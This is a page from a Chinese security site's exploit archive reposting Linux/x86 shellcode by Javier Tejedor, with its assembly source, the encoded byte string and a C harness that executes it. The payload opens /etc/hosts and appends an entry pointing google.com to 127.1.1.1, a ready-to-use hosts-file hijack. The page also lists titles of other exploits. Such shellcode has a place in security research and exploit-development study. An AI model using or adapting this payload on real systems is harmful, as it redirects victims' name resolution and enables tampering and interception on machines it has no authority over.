首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux/x86 Add map in /etc/hosts file
来源:vfocus.net 作者:Tejedor 发布时间:2014-11-06  
/**
  
;modify_hosts.asm
;this program add a new entry in hosts file pointing google.com to 127.1.1.1 
;author Javier Tejedor
;date 24/09/2014
  
global _start
  
section .text
  
_start:
    xor ecx, ecx
    mul ecx
    mov al, 0x5     
    push ecx
    push 0x7374736f     ;/etc///hosts
    push 0x682f2f2f
    push 0x6374652f
    mov ebx, esp
    mov cx, 0x401       ;permmisions
    int 0x80        ;syscall to open file
  
    xchg eax, ebx
    push 0x4
    pop eax
    jmp short _load_data    ;jmp-call-pop technique to load the map
  
_write:
    pop ecx
    push 20         ;length of the string, dont forget to modify if changes the map
    pop edx
    int 0x80        ;syscall to write in the file
  
    push 0x6
    pop eax
    int 0x80        ;syscall to close the file
  
    push 0x1
    pop eax
    int 0x80        ;syscall to exit
  
_load_data:
    call _write
    google db "127.1.1.1 google.com"
**/
  
#include<stdio.h>
#include<string.h>
  
unsigned char code[] = \
"\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x6f\x73\x74\x73\x68\x2f\x2f\x2f\x68\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x01\x04\xcd\x80\x93\x6a\x04\x58\xeb\x10\x59\x6a\x14\x5a\xcd\x80\x6a\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xeb\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d";
  
main()
{
  
        printf("Shellcode Length:  %d\n", strlen(code));
  
        int (*ret)() = (int(*)())code;
  
        ret();
  
}




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Local Root => 2.6.39 (32
·X7 Chat 2.0.5 lib/message.php
·Drupal < 7.32 Pre Auth SQL Inj
·i-FTP Buffer Overflow SEH Expl
·Mac OS X Mavericks IOBluetooth
·i.Hex Local Crash Proof of Con
·Xerox Multifunction Printers (
·i.Mage Local Crash Proof of Co
·GNU Wget FTP Symlink Arbitrary
·Citrix NetScaler SOAP Handler
·Joomla RD Download SQL Injecti
·Belkin n750 jump login Paramet
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved